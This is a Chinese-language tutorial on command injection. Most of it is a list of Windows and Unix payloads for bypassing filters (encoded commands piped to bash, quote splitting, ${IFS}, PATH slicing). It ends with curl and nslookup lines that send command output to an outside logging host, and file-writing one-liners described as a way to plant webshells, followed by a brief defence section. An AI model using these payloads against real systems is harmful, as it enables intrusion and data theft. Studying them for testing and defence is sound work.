漏洞原理
命令执行漏洞是指攻击者通过注入恶意命令来执行非预期的操作;简单来说就是没有对用户输入的内容充分的验证或过滤,而直接带入到命令执行函数中当成系统化命令被执行。
以Python代码为例,举个简单的例子:
import os
def echo(content):
os.system(f"echo {content}")
# 正常请求
echo("test")
# 命令注入请求
echo("test;whoami")
可见成功执行了系统命令,也侧面说明这个漏洞的危害很大。
漏洞危害
- 执行任意系统命令,可能导致系统被完全控制。
- 敏感信息泄露,如密码、数据库内容等。
- 对系统进行拒绝服务(DoS)攻击。
- 执行恶意代码,如安装后门、植入恶意软件等。
常见漏洞函数
函数只是示例为主,并不全,因为每种编程语言都有很多方式来执行系统命令
编程语言 | 执行系统命令的函数 |
---|---|
PHP | exec() 、shell_exec() 、system() 、passthru() 、proc_open() 、popen() |
Python | os.system() 、subprocess.run() 、subprocess.Popen() |
Go | os/exec.Command() 、os/exec.Run() 、os/exec.Output() |
Java | Runtime.getRuntime().exec() 、ProcessBuilder.command() |
Node.js | child_process.exec() 、child_process.spawn() |
常见利用思路
既然是注入类漏洞,那就必须要遵循原文的语法规则,这里就列举一下如何闭合前文等,达到执行恶意系统命令的目的。
Windows
连接符
连接符 | 描述 |
---|---|
& | 用于连接多个命令,按顺序执行 |
&& | 用于连接多个命令,只有前一个命令成功执行后才执行下一个命令 |
| | 用于将一个命令的输出作为另一个命令的输入 |
|| | 用于连接多个命令,只要前一个命令执行失败,就执行下一个命令 |
通配符
通配符 | 描述 |
---|---|
* |
匹配任意字符序列(可以为空) |
? |
匹配单个字符 |
举例如下:
type test*
type test.tx?
绕过特殊内容
一些情况下,会禁止出现一些指定内容,如CTF时的flag
字段等,如果不能用通配符,那么可以尝试使用编码方式来绕过
powershell -command "$decodedCommand = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Y2F0IC9mbGFnCg==')); Invoke-Expression $decodedCommand"
也可以使用防转义的方式来绕过
type test.t^x^t
还可以使用拼接的方式绕过
type t"es"t.tx""t
还可以使用赋值变量的方式来绕过
set a=type&&set b=test.txt&&%a% %b%
如果禁止了%\w%
,那么还可以用切割的方式来绕过
set a=type&&set b=test.txt&&%a:~0% %b%
绕过空格
一些情况下,会禁止在命令中使用空格,那么可以用如下几种方式来绕过
type.\test.txt
type,test.txt
*unix
连接符
连接符 | 描述 |
---|---|
; | 用于连接多个命令,按顺序执行 |
& | 用于连接多个命令,将多个命令置于后台运行 |
&& | 用于连接多个命令,只有前一个命令成功执行后才执行下一个命令 |
| | 用于将一个命令的输出作为另一个命令的输入 |
|| | 用于连接多个命令,只要前一个命令执行失败,就执行下一个命令 |
通配符
通配符 | 描述 |
---|---|
* |
匹配任意字符序列(可以为空) |
? |
匹配单个字符 |
[a-z0-9] |
匹配[] 中的任意字符 |
举例如下:
cat test*
cat test.tx?
cat test.tx[a-z]
注释符
一些情况下,会强制在命令后面加一段内容,那么我们可以通过注释符给后面的内容注释掉
ls 1.txt #asdaaaa
提前执行命令
官方说法:内嵌命令 | 子命令
一些情况下,允许我们使用`或者$()
时,可以将其添加到命令中,提前执行恶意命令内容。
who`echo a`mi
who$(echo a)mi
绕过特殊内容
一些情况下,会禁止出现一些指定内容,如CTF时的flag
字段等,如果不能用通配符,那么可以尝试使用编码方式来绕过
# base64 ==> echo 123 | base64
echo Y2F0IC9mbGFnCg== | base64 -d | bash
# hex ==> echo 123 | xxd -ps
echo 636174202f666c61670a | xxd -r -ps | bash
也可以使用防转义的方式来绕过
\c\at 1.\txt
还可以使用拼接的方式来绕过
cat "1".t'x't
还可以使用赋值变量的方式来绕过
a=ca;b=t;c=1.txt;$a$b $c
还可以使用一些空变量来绕过,$1-$9,$@,$*
c$@at 1.txt
还可以通过截取环境变量的方式来绕过
可以使用
printenv
查看当前的环境变量
echo ${PATH:41:4}/${PATH:471:2} #==> 我的环境变量中是 /bin/sh
${PATH:41:4}/${PATH:471:2} -c whoami
绕过空格
一些情况下,会禁止在命令中使用空格,那么可以用如下几种方式来绕过
cat${IFS}1.txt
cat<>1.txt
cat<1.txt
{cat,1.txt}
绕过长度限制
如果限制了长度,可以先尝试写到文件中,然后用sh
执行
echo -n c >> 1
echo -n a >> 1
...
sh 1
防护建议
- 输入验证和过滤:对于从用户或外部源接收的所有输入数据,进行严格的验证和过滤。确保只允许预期的输入字符和格式,并拒绝潜在的恶意代码。
- 权限限制:确保应用程序在执行命令时使用最低特权。不要在命令执行中使用超级用户权限或管理员权限,以降低攻击者可能获得的权限。
- 沙箱环境:在可能的情况下,将应用程序或相关组件运行在沙箱环境中,以限制其对系统的访问权限。这可以帮助隔离恶意代码的影响,并提供额外的安全层。
补充
命令注入和代码注入的区别
经常有人把这两种漏洞搞混,其实还是有一些区别的,从名字也可以看出来,他们的注入方式不同。
- 命令注入漏洞发生在使用用户输入构建系统命令或Shell命令的情况下,攻击者通过在用户输入中注入恶意命令来执行未经授权的操作,导致攻击者可以执行任意的系统命令。
- 代码注入漏洞发生在应用程序中用户输入的数据被直接插入到可执行代码中的情况下,攻击者通过在用户输入中注入恶意代码来修改应用程序的逻辑,执行未经授权的操作,导致攻击者可以在应用程序中执行任意的代码。
无回显命令执行
出网
*unix
在linux系统中如果执行系统命令无回显,那么可以通过外带数据的方式来获取信息,如
curl `whoami`.8f208c4a.ipv6.1433.eu.org
nslookup $(whoami | base64).8f208c4a.ipv6.1433.eu.org
windows
windows中不能像linux那样直接把命令执行结果带出来,有点鸡肋,但至少可以带一些环境变量出来证明漏洞确实存在。
curl %USERNAME%.8f208c4a.ipv6.1433.eu.org
具体的环境变量有哪些,可通过set
命令查看。
不出网
不出网时,一般就以写文件为主,写webshell、公钥、日志等。下方举例如何根据静态资源定位到web目录,并自动写入文件。
*unix
查找指定静态文件,并在当前目录下写入shell
# 查找1.txt,如果找到了,就在目标目录写入phpinfo
find / -name "1.txt" -execdir bash -c 'echo "123" > phpinfo.php' \;
windows
和上方方法类似,通过powershell实现
powershell -command "Get-ChildItem -Path './' -Recurse -Filter 'test.txt' | ForEach-Object { New-Item -Path $_.DirectoryName -Name 'phpinfo.php' -ItemType 'file' -Value '123' }"